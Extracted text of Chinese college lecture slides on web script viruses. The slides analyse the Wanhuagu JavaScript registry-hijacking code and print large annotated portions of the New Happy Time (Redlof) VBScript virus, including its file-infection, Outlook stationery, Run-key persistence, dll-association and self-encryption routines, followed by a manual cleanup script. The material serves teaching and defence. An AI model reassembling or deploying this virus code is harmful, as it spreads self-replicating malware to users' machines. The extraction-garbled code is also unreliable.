典型网页病毒剖析.ppt

上传人:小飞机 文档编号:5928751 上传时间:2023-09-05 格式:PPT 页数:47 大小:1.09MB
返回 下载 相关 举报
典型网页病毒剖析.ppt_第1页
第1页 / 共47页
典型网页病毒剖析.ppt_第2页
第2页 / 共47页
典型网页病毒剖析.ppt_第3页
第3页 / 共47页
典型网页病毒剖析.ppt_第4页
第4页 / 共47页
典型网页病毒剖析.ppt_第5页
第5页 / 共47页
点击查看更多>>
资源描述

《典型网页病毒剖析.ppt》由会员分享,可在线阅读,更多相关《典型网页病毒剖析.ppt(47页珍藏版)》请在三一办公上搜索。

1、计算机病毒与防治,重庆电子工程职业学院,计算机病毒与防治课程小组,教学单元3-4 网页脚本病毒防治,万花谷病毒的手工清除,万花谷病毒特点及代码分析,梅丽莎病毒特点及代码分析,第二讲 典型网页病毒剖析,计算机病毒与防治课程小组,梅丽莎病毒的手工清除,万花谷病毒特点,计算机病毒与防治课程小组,病毒类型 网页脚本病毒,危险级别,影响系统 Win 9X/ME/NT/2000/XP/2003,万花谷病毒特点,病毒名称:万花谷,万花谷病毒特点,计算机病毒与防治课程小组,曾经在互连网上散发过一个美丽诱人的网址“万花谷”,这实际是一个恶意“陷阱”,有人经不住诱惑,只用鼠标轻轻点一下,计算机就立即瘫痪了,这是有

2、人利用Java最新技术进行破坏的一个恶意网址。本病毒是在页面中嵌入了恶意的JavaScript代码,它最初出现在 个人网站上,随后其他一些个人主页也模仿或被感染了该病毒代码。,万花谷病毒特点,万花谷病毒特点,计算机病毒与防治课程小组,其破坏特性如下:(1)用户不能正常使用WINDOWS的DOS功能程序;(2)用户不能正常退出WINDOWS;(3)开始菜单上的关闭系统、运行等栏目被屏蔽,防止用户重新以DOS方式启动,关闭DOS命令、关闭REGEDIT命令等。(4)将IE的浏览器的首页和收藏夹中都加入了含有该有害网页代码的网络地址。具体的表现形式是:(1)网络地址是:;(2)在IE的“收藏夹”中自

3、动加上“万花谷”的快捷方式,网络地址是:;,万花谷病毒特点,万花谷病毒源码分析,计算机病毒与防治课程小组,document.write();functionAddFavLnk(loc,DispName,SiteURL)varShor=Shl.CreateShortcut(loc+DispName+.URL);Shor.TargetPath=SiteURL;Shor.Save();functionf()Try/ActiveXinitialization a1=document.applets0;a1.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B);a

4、1.createInstance();Shl=a1.GetObject();a1.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228);a1.createInstance();FSO=a1.GetObject();a1.setCLSID(F935DC26-1CF0-11D0-ADB9-00C04FD58A0B);a1.createInstance();Net=a1.GetObject();,万花谷病毒源码分析,计算机病毒与防治课程小组,tryif(documents.cookies.indexOf(Chg)=-1)/以下内容是对注册表进行修改Shl.Re

5、gWrite(HKCUSoftwareMicrosoftInternetExplorerMainStartPage,http:/,万花谷病毒源码分析,计算机病毒与防治课程小组,Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools,00000001,REG_DWORD);/禁止注册表编辑器Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop,00000001,REG

6、_DWORD);/屏蔽所有桌面图标Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled,00000001,REG_DWORD);/禁止运行Dos程序Shl.RegWrite(HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppNoRealMode,00000001,REG_DWORD);/屏蔽所有桌面图标Shl.RegWrite(HKLMSoftwareMicrosoftWindowsCurrentVersionWinlo

7、gonLegalNoticeCaption,您的计算机已经被优化:));/设置开机提示Shl.RegWrite(HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText,您的计算机已经被优化:));/弹出窗口中的内容,万花谷病毒源码分析,计算机病毒与防治课程小组,Shl.RegWrite(HKLMSoftwareMicrosoftInternetExplorerMainWindowTitle,新的标题/);Shl.RegWrite(HKCUSoftwareMicrosoftInternetExplorerMainWind

8、owTitle,新的标题http:/,万花谷病毒发作现象,计算机病毒与防治课程小组,万花谷病毒发作部分现象截图,未中万花谷病毒时截图,万花谷病毒手工清除,计算机病毒与防治课程小组,方法一(利用 Windows 提供的恢复注册表功能):在“开始-运行”中输入Regedit命令,打开注册表编辑器,点选“文件”菜单下的“导入”命令,选择以前备份的注册表文件,确定即可完成注册表的还原。,方法二(采用 VBS 或 JS 脚本来删除或修改注册表项):进入系统后打开记事本,输入以下内容:,万花谷病毒手工清除,计算机病毒与防治课程小组,Dim RSet R=CreateObject(WScript.Shell

9、)Rem Write RegeditR.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun,0,REG_BINARY;修复RUN按纽R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose,0,REG_BINARY;修复关闭按纽R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff,0,REG_BINARY;

10、修复注销按纽R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives,00000000,REG_DWORD;取消隐藏盘符R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools,00000000,REG_DWORD;取消禁止注册表R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDeskto

11、p“,”00000000“,”REG_DWORD“;,万花谷病毒手工清除,R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled,00000000,REG_DWORDR.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppNoRealMode,00000000,REG_DWORDR.RegWrite HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalN

12、oticeCaption,REG_SZR.RegWrite HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText,REG_SZ;重设开机提示R.RegWrite“HKLMSoftwareMicrosoftInternet ExplorerMainWindowTitle”,“”,REG_SZ;重设IE标题R.RegWrite HKCUSoftwareMicrosoftInternet ExplorerMainStartPage,REG_SZ“,以文件名“RegClean.vbs”存盘后双击运行该文件。重新启动计算机即完

13、成系统恢复。,计算机病毒与防治课程小组,新欢乐时光病毒特点,病毒名称:新欢乐时光,病毒类型:网页脚本病毒,危险级别:,影响系统:Win 9X/ME/NT/2000,英文名包括有:HTML.Redlof.A Symantec,VBS.Redlof AVP,VBS_REDLOF.A Trend,VBS/Redlof-A Sophos,VBS.KJ 金山,Script.RedLof 瑞星,VBS/KJ 江民,计算机病毒与防治课程小组,新欢乐时光病毒特点,新欢乐时光病毒特点,新欢乐时光病毒是一个多变形、加密病毒,感染扩展名为.html,.htm,.asp,.php,.jsp,.htt和.vbs文件,同

14、时该病毒会大量生成folder.htt和desktop.ini,并在%windir%System中生成一个名字叫Kernel.dll(Windows 9x/Me)或kernel32.dll(Windows NT/2000)的文件,修改.dll文件的打开方式,感染Outlook的信纸文件。感染这个病毒后有两个明显的特征:a.在每个目录中都会生成folder.htt(带毒文件)和desktop.ini(目录配置文件);b.电脑运行速度明显变慢,在任务列表中可以看到有大量的Wscript.exe程序在运行。,计算机病毒与防治课程小组,新欢乐时光病毒特点,新欢乐时光病毒这个网页病毒利用微软IE的漏洞,

15、通过感染一些.html,.htm,.asp,.php,.jsp,.htt和.vbs等文件进行传播。然而由于病毒的本身特性,其传播的途径也有多种:a.通过网页传播。由于病毒会感染网页文件,如果那些网站站长不小心将带毒的网页放到网站上,用户不小心浏览了这些网页就会被病毒感染了;b.通过局域网。当本地计算机设有可写权限的共享目录,或者访问局域网上带毒的计算机的时候就会感染病毒;对于Windows NT/2000系统,由于存在默认的管理用共享目录,因此,管理员的疏忽也可能会造成感染。c.通过电子邮件。如果发件人使用了带毒的网页文件作为信纸,或者信件中有带毒的网页文件,那么,只要收件人浏览了邮件,也会被

16、感染病毒;d.通过移动介质,如软盘、移动硬盘、光盘等。由于病毒会生成folder.htt和desktop.ini,所以在打开移动介质或打开其文件夹的时候,就会激活并感染病毒。,计算机病毒与防治课程小组,新欢乐时光代码分析,Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk Sub KJ_start()初始化变量 KJSetDim()初始化环境 KJCreateMilieu()感染本地或者共享上与html所在目录 KJLikeIt()通过vbs感染Outlook邮件模板 K

17、JCreateMail()进行病毒传播 KJPropagate()End Sub,计算机病毒与防治课程小组,新欢乐时光病毒主运行程序代码,新欢乐时光代码分析,Function KJAppendTo(FilePath,TypeStr)On Error Resume Next 以只读方式打开指定文件 Set ReadTemp=FSO.OpenTextFile(FilePath,1)将文件内容读入到TmpStr变量中 TmpStr=ReadTemp.ReadAll 判断文件中是否存在“KJ_start()”字符串,若存在说明已经感染,退出函数;若文件长度小于1,也退出函数。If Instr(TmpS

18、tr,KJ_start()0 Or Len(TmpStr)&vbCrLf&TmpStr&vbCrLf&HtmlText,函数功能:向指定类型的指定文件追加病毒,计算机病毒与防治课程小组,FileTemp.Close Set FAttrib=FSO.GetFile(FilePath)FAttrib.attributes=34 Else ReadTemp.Close Set FileTemp=FSO.OpenTextFile(FilePath,8)If TypeStr=html Then FileTemp.Write vbCrLf&vbCrLf&vbCrLf&HtmlText ElseIf Typ

19、eStr=vbs Then FileTemp.Write vbCrLf&VbsText End If FileTemp.Close End If End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,新欢乐时光代码分析,计算机病毒与防治课程小组,函数功能:改变子目录以及盘符,Function KJChangeSub(CurrentString,LastIndexChar)判断是否是根目录 If LastIndexChar=0 Then 如果是根目录:如果是C:,返回FinalyDisk盘,并将SubE置为0 如果不是C:,返回将当前盘符递减1,并将SubE置为0 If Lef

20、t(LCase(CurrentString),1)=LCase(c)Then KJChangeSub=FinalyDisk&:SubE=0 Else KJChangeSub=Chr(Asc(Left(LCase(CurrentString),1)-1)&:SubE=0 End If Else 如果不是根目录,则返回上一级目录名称 KJChangeSub=Mid(CurrentString,1,LastIndexChar)End If End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,Function KJCreateMail()On Error Resume Next 如

21、果当前执行文件是html的,就退出函数 If InWhere=html Then Exit Function End If 取系统盘的空白页的路径ShareFile=Left(WinPath,3)&Program FilesCommon FilesMicrosoft SharedStationeryblank.htm 如果存在这个文件,就向其追加病毒体,否则生成含有病毒体的文件 If(FSO.FileExists(ShareFile)Then Call KJAppendTo(ShareFile,html)Else Set FileTemp=FSO.OpenTextFile(ShareFile,

22、2,true)FileTemp.Write&vbCrLf&vbCrLf&HtmlText FileTemp.Close End If,功能:感染邮件部分,新欢乐时光代码分析,计算机病毒与防治课程小组,取得当前用户的ID和OutLook的版本 DefaultId=WsShell.RegRead(HKEY_CURRENT_USERIdentitiesDefault User ID)OutLookVersion=WsShell.RegRead(HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressMediaVer)激活信纸功能,并感染所有信纸 WsShe

23、ll.RegWrite HKEY_CURRENT_USERIdentities&DefaultId&SoftwareMicrosoftOutlook Express&Left(OutLookVersion,1)&.0MailCompose Use Stationery,1,REG_DWORD Call KJMailReg(HKEY_CURRENT_USERIdentities&DefaultId&SoftwareMicrosoftOutlook Express&Left(OutLookVersion,1)&.0MailStationery Name,ShareFile)Call KJMailR

24、eg(HKEY_CURRENT_USERIdentities&DefaultId&SoftwareMicrosoftOutlook Express&Left(OutLookVersion,1)&.0MailWide Stationery Name,ShareFile),新欢乐时光代码分析,计算机病毒与防治课程小组,WsShell.RegWrite HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0OutlookOptionsMailEditorPreference,131072,REG_DWORD Call KJMailReg(HKEY_CURRENT_US

25、ERSoftwareMicrosoftWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settings0a0d020000000000c000000000000046001e0360,blank)Call KJMailReg(HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settings0a0d020000000000c0000

26、00000000046001e0360,blank)WsShell.RegWrite HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0OutlookOptionsMailEditorPreference,131072,REG_DWORD Call KJMailReg(HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0CommonMailSettingsNewStationery,blank)KJummageFolder(Left(WinPath,3)&Program FilesCommon FilesMicrosof

27、t SharedStationery)End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,Function KJCreateMilieu()On Error Resume Next TempPath=判断操作系统是NT/2000还是9X If Not(FSO.FileExists(WinPath&WScript.exe)Then TempPath=system32 End If 为了文件名起到迷惑性,并且不会与系统文件冲突。如果是NT/2000则启动文件为systemKernel32.dll,如果是9x启动文件则为systemKernel.dll If TempPath=s

28、ystem32 Then StartUpFile=WinPath&SYSTEMKernel32.dll Else StartUpFile=WinPath&SYSTEMKernel.dll End If 添加Run值,添加刚才生成的启动文件路径 WsShell.RegWrite HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunKernel32,StartUpFile,功能:创建系统环境,新欢乐时光代码分析,计算机病毒与防治课程小组,拷贝前期备份的文件到原来的目录 FSO.CopyFile WinPath&webkjwall.g

29、if,WinPath&webFolder.htt FSO.CopyFile WinPath&system32kjwall.gif,WinPath&system32desktop.ini 向%windir%webFolder.htt追加病毒体 Call KJAppendTo(WinPath&webFolder.htt,htt)改变dll的MIME头,改变dll的默认图标,改变dll的打开方式WsShell.RegWrite HKEY_CLASSES_ROOT.dll,dllfile WsShell.RegWrite HKEY_CLASSES_ROOT.dllContent Type,applic

30、ation/x-msdownload WsShell.RegWrite HKEY_CLASSES_ROOTdllfileDefaultIcon,WsShell.RegRead(HKEY_CLASSES_ROOTvxdfileDefaultIcon)WsShell.RegWrite HKEY_CLASSES_ROOTdllfileScriptEngine,VBScript WsShell.RegWrite HKEY_CLASSES_ROOTdllFileShellOpenCommand,WinPath&TempPath&WScript.exe%1%*,新欢乐时光代码分析,计算机病毒与防治课程小组

31、,WsShell.RegWrite HKEY_CLASSES_ROOTdllFileShellExPropertySheetHandlersWSHProps,60254CA5-953B-11CF-8C96-00AA00B8708C WsShell.RegWrite HKEY_CLASSES_ROOTdllFileScriptHostEncode,85131631-480C-11D2-B1F9-00C04F86C324 启动时加载的病毒文件中写入病毒体 Set FileTemp=FSO.OpenTextFile(StartUpFile,2,true)FileTemp.Write VbsText

32、FileTemp.Close End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,感染目录,Function KJLikeIt()如果当前执行文件不是html的就退出程序 If InWhere html Then Exit Function End If ThisLocation=document.location 取得文档当前路径 If Left(ThisLocation,4)=“file”Then 如果是本地或网上共享文件 ThisLocation=Mid(ThisLocation,9)如果这个文件扩展

33、名不为空,在ThisLocation中保存它的路径 If FSO.GetExtensionName(ThisLocation)then ThisLocation=Left(ThisLocation,Len(ThisLocation)-Len(FSO.GetFileName(ThisLocation)End If If Len(ThisLocation)3 Then 如果ThisLocation的长度大于3就尾追一个 ThisLocation=ThisLocation&End If KJummageFolder(ThisLocation)感染这个目录 End If End Function,新欢

34、乐时光代码分析,计算机病毒与防治课程小组,功能:如果注册表指定键值不存在,则向指定位置写入指定文件名,Function KJMailReg(RegStr,FileName)On Error Resume Next 如果注册表指定键值不存在,则向指定位置写入指定文件名 RegTempStr=WsShell.RegRead(RegStr)If RegTempStr=Then WsShell.RegWrite RegStr,FileName End If End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:遍历并返回目录路径,Function KJOboSub(Curren

35、tString)SubE=0 TestOut=0 Do While True TestOut=TestOut+1 If TestOut 28 Then CurrentString=FinalyDisk&:Exit Do End If On Error Resume Next 取得当前目录的所有子目录,并且放到字典中 Set ThisFolder=FSO.GetFolder(CurrentString)Set DicSub=CreateObject(Scripting.Dictionary)Set Folders=ThisFolder.SubFolders FolderCount=0For Ea

36、ch TempFolder in Folders FolderCount=FolderCount+1 DicSub.add FolderCount,TempFolder.Name Next,新欢乐时光代码分析,计算机病毒与防治课程小组,如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1 If DicSub.Count=0 Then LastIndexChar=InstrRev(CurrentString,Len(CurrentString)-1)SubString=Mid(CurrentString,LastIndexChar+1,Len(Current

37、String)-LastIndexChar-1)CurrentString=KJChangeSub(CurrentString,LastIndexChar)SubE=1 Else 如果存在子目录 如果SubE为0,则将CurrentString变为它的第1个子目录If SubE=0 Then CurrentString=CurrentString&DicSub.Item(1)&Exit Do Else 如果SubE为1,继续遍历子目录,并将下一个子目录返回 j=0,新欢乐时光代码分析,计算机病毒与防治课程小组,For j=1 To FolderCount If LCase(SubString)

38、=LCase(DicSub.Item(j)Then If j FolderCount Then CurrentString=CurrentString&DicSub.Item(j+1)&Exit DoEnd If End IfNext LastIndexChar=InstrRev(CurrentString,Len(CurrentString)-1)SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)CurrentString=KJChangeSub(CurrentString,LastI

39、ndexChar)End If End If Loop KJOboSub=CurrentString End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:病毒传播,Function KJPropagate()On Error Resume NextRegPathvalue=HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressDegree DiskDegree=WsShell.RegRead(RegPathvalue)如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘 If DiskDegree

40、=Then DiskDegree=FinalyDisk&:End If 继DiskDegree置后感染5个目录 For i=1 to 5 DiskDegree=KJOboSub(DiskDegree)KJummageFolder(DiskDegree)Next 将感染记录保存在HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressDegree键值中 WsShell.RegWrite RegPathvalue,DiskDegree End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:感染指定目录,Function KJumm

41、ageFolder(PathName)On Error Resume Next 取得目录中的所有文件集 Set FolderName=FSO.GetFolder(PathName)Set ThisFiles=FolderName.Files HttExists=0 For Each ThisFile In ThisFiles FileExt=UCase(FSO.GetExtensionName(ThisFile.Path)判断扩展名 若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体 若是VBS则向文件中追加VBS版的病毒体 若是HTT,则标志为已经存在HTT了 If

42、 FileExt=HTM Or FileExt=HTML Or FileExt=ASP Or FileExt=PHP Or FileExt=JSP Then Call KJAppendTo(ThisFile.Path,html)ElseIf FileExt=VBS ThenCall KJAppendTo(ThisFile.Path,vbs)ElseIf FileExt=HTT Then HttExists=1 End IfNext,新欢乐时光代码分析,计算机病毒与防治课程小组,如果所给的路径是桌面,则标志为已经存在HTT了 If(UCase(PathName)=UCase(WinPath&De

43、sktop)Or(UCase(PathName)=UCase(WinPath&Desktop)Then HttExists=1 End If 如果不存在HTT 向目录中追加病毒体 If HttExists=0 Then FSO.CopyFile WinPath&system32desktop.ini,PathName FSO.CopyFile WinPath&webFolder.htt,PathName End If End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:定义FSO,WsShell对象,取得最后一个可用磁盘卷标,生成传染用的加密字串 备份系统中的webf

44、older.htt和system32desktop.ini,Function KJSetDim()On Error Resume Next Err.Clear 测试当前执行文件是html还是vbs TestIt=WScript.ScriptFullname If Err Then InWhere=html Else InWhere=vbs End If 创建文件访问对象和Shell对象If InWhere=vbs Then Set FSO=CreateObject(Scripting.FileSystemObject)Set WsShell=CreateObject(WScript.Shell

45、)Else,新欢乐时光代码分析,计算机病毒与防治课程小组,Set AppleObject=document.applets(KJ_guest)AppleObject.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B)AppleObject.createInstance()Set WsShell=AppleObject.GetObject()AppleObject.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228)AppleObject.createInstance()Set FSO=AppleObject.Ge

46、tObject()End If Set DiskObject=FSO.Drives 判断磁盘类型 0:Unknown,1:Removable,2:Fixed,3:Network,4:CD-ROM,5:RAM Disk 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?For Each DiskTemp In DiskObjectIf DiskTemp.DriveType 2 And DiskTemp.DriveType 1 Then Exit For End IfFinalyDisk=

47、DiskTemp.DriveLetter Next,新欢乐时光代码分析,计算机病毒与防治课程小组,此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。Dim OtherArr(3)Randomize 随机生成4个算子 For i=0 To 3 OtherArr(i)=Int(9*Rnd)Next TempString=For i=1 To Len(ThisText)TempNum=Asc(Mid(ThisText,i,1)If TempNum=13 Then 对回车、换行(0 x0D,0 x0A)做特别的处理TempNum=28 ElseIf TempNu

48、m=10 ThenTempNum=29End If 很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。,新欢乐时光代码分析,计算机病毒与防治课程小组,TempChar=Chr(TempNum-OtherArr(i Mod 4)If TempChar=Chr(34)ThenTempChar=Chr(18)End IfTempString=TempString&TempChar Next 含有解密算法的字串 UnLockStr=Execute(Dim KeyArr(3),ThisText&vbCrLf&KeyArr(0)=&OtherArr(

49、0)&vbCrLf&KeyArr(1)=&OtherArr(1)&vbCrLf&KeyArr(2)=&OtherArr(2)&vbCrLf&KeyArr(3)=&OtherArr(3)&vbCrLf&For i=1 To Len(ExeString)&vbCrLf&TempNum=Asc(Mid(ExeString,i,1)&vbCrLf&If TempNum=18 Then&vbCrLf&TempNum=34&vbCrLf&End If&vbCrLf&TempChar=Chr(TempNum+KeyArr(i Mod 4)&vbCrLf&If TempChar=Chr(28)Then&vbC

50、rLf&TempChar=vbCr&vbCrLf&ElseIf TempChar=Chr(29)Then&vbCrLf&TempChar=vbLf&vbCrLf&End If&vbCrLf&ThisText=ThisText&TempChar&vbCrLf&Next)&vbCrLf&Execute(ThisText),新欢乐时光代码分析,计算机病毒与防治课程小组,将加密好的病毒体复制给变量 ThisText ThisText=ExeString=visibility:hidden&vbCrLf&vbCrLf&vbCrLf&ThisText&vbCrLf&UnLockStr&vbCrLf&vbC

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 生活休闲 > 在线阅读


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号